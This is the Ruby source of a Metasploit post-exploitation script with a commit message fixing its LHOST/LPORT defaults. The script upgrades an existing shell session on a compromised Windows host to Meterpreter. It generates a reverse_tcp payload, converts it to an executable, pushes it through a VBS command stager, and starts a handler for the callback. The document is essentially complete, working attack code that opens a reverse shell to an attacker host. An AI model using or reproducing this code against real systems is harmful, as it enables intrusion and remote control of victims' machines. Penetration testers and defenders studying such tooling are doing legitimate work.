cb33de24e4
[FixRM #8749] Basically the spawn_meterpreter script doesn't actually allow the user to set their own LHOST/LPORT datastore options, because they come from the session object, not from the active module or the framework object. The fix is to allow the user to config them from framework. But if they forget to do this (because naturally people probably assume that active module datastore options are the same as the ones set in framework), then for LHOST, we default whatever we get from Rex::Socket.source_address. As for LPORT, we'll pick a one that's not used by any of the sessions.
178 lines
4.3 KiB
Ruby
178 lines
4.3 KiB
Ruby
#
|
|
# Spawn a meterpreter session using an existing command shell session
|
|
#
|
|
# NOTE: Some of the following code is duplicated from the VBS CmdStager
|
|
#
|
|
# This is really only to prove the concept for now.
|
|
#
|
|
# -jduck
|
|
#
|
|
|
|
|
|
#
|
|
# Show the progress of the upload
|
|
#
|
|
def progress(total, sent)
|
|
done = (sent.to_f / total.to_f) * 100
|
|
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
|
end
|
|
|
|
|
|
#
|
|
# Returns if a port is used by a session
|
|
#
|
|
def is_port_used?(port)
|
|
framework.sessions.each do |sid, obj|
|
|
local_info = obj.instance_variable_get(:@local_info)
|
|
return true if local_info =~ /:#{port}$/
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
#
|
|
# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost
|
|
#
|
|
lhost = framework.datastore['LHOST']
|
|
unless lhost
|
|
lhost = Rex::Socket.source_address('50.50.50.50')
|
|
end
|
|
|
|
#
|
|
# If there is no LPORT defined in framework, then pick a random one that's not used
|
|
# by current sessions. This is possible if the user assumes module datastore options
|
|
# are the same as framework datastore options.
|
|
#
|
|
lport = framework.datastore['LPORT']
|
|
unless lport
|
|
lport = 4444 # Default meterpreter port
|
|
while is_port_used?(lport)
|
|
# Pick a port that's not used
|
|
lport = [*49152..65535].sample
|
|
end
|
|
end
|
|
|
|
# maybe we want our sessions going to another instance?
|
|
use_handler = true
|
|
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)
|
|
|
|
# Process special var/val pairs...
|
|
# XXX: Not supported yet...
|
|
#Msf::Ui::Common.process_cli_arguments($framework, ARGV)
|
|
|
|
|
|
# Create the payload instance
|
|
payload_name = 'windows/meterpreter/reverse_tcp'
|
|
payload = framework.payloads.create(payload_name)
|
|
options = "LHOST=#{lhost} LPORT=#{lport}"
|
|
buf = payload.generate_simple('OptionStr' => options)
|
|
|
|
#
|
|
# Spawn the handler if needed
|
|
#
|
|
aborted = false
|
|
begin
|
|
|
|
mh = nil
|
|
if (use_handler)
|
|
mh = framework.modules.create("exploit/multi/handler")
|
|
mh.datastore['LPORT'] = lport
|
|
mh.datastore['LHOST'] = lhost
|
|
mh.datastore['PAYLOAD'] = payload_name
|
|
mh.datastore['ExitOnSession'] = false
|
|
mh.datastore['EXITFUNC'] = 'process'
|
|
mh.exploit_simple(
|
|
'LocalInput' => session.user_input,
|
|
'LocalOutput' => session.user_output,
|
|
'Payload' => payload_name,
|
|
'RunAsJob' => true)
|
|
# It takes a little time for the resources to get set up, so sleep for
|
|
# a bit to make sure the exploit is fully working. Without this,
|
|
# mod.get_resource doesn't exist when we need it.
|
|
select(nil, nil, nil, 0.5)
|
|
if framework.jobs[mh.job_id.to_s].nil?
|
|
raise RuntimeError, "Failed to start multi/handler - is it already running?"
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Make the payload into an exe for the CmdStager
|
|
#
|
|
lplat = [Msf::Platform::Windows]
|
|
larch = [ARCH_X86]
|
|
linemax = 1700
|
|
if (session.exploit_datastore['LineMax'])
|
|
linemax = session.exploit_datastore['LineMax'].to_i
|
|
end
|
|
opts = {
|
|
:linemax => linemax,
|
|
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
|
|
#:nodelete => true # keep temp files (for debugging)
|
|
}
|
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
|
|
|
|
|
|
#
|
|
# Generate the stager command array
|
|
#
|
|
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
|
cmds = cmdstager.generate(opts)
|
|
if (cmds.nil? or cmds.length < 1)
|
|
print_error("The command stager could not be generated")
|
|
raise ArgumentError
|
|
end
|
|
|
|
#
|
|
# Calculate the total size
|
|
#
|
|
total_bytes = 0
|
|
cmds.each { |cmd| total_bytes += cmd.length }
|
|
|
|
|
|
#
|
|
# Run the commands one at a time
|
|
#
|
|
sent = 0
|
|
cmds.each { |cmd|
|
|
ret = session.shell_command_token_win32(cmd)
|
|
if (not ret)
|
|
aborted = true
|
|
else
|
|
ret.strip!
|
|
if (not ret.empty?)
|
|
aborted = true
|
|
end
|
|
end
|
|
if aborted
|
|
print_error("Error: Unable to execute the following command:")
|
|
print_error(cmd.inspect)
|
|
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
|
|
break
|
|
end
|
|
|
|
sent += cmd.length
|
|
|
|
progress(total_bytes, sent)
|
|
}
|
|
rescue ::Interrupt
|
|
# TODO: cleanup partial uploads!
|
|
aborted = true
|
|
rescue => e
|
|
print_error("Error: #{e}")
|
|
aborted = true
|
|
end
|
|
|
|
#
|
|
# Stop the job
|
|
#
|
|
if (use_handler)
|
|
Thread.new do
|
|
if not aborted
|
|
# Wait up to 10 seconds for the session to come in..
|
|
select(nil, nil, nil, 10)
|
|
end
|
|
framework.jobs.stop_job(mh.job_id)
|
|
end
|
|
end
|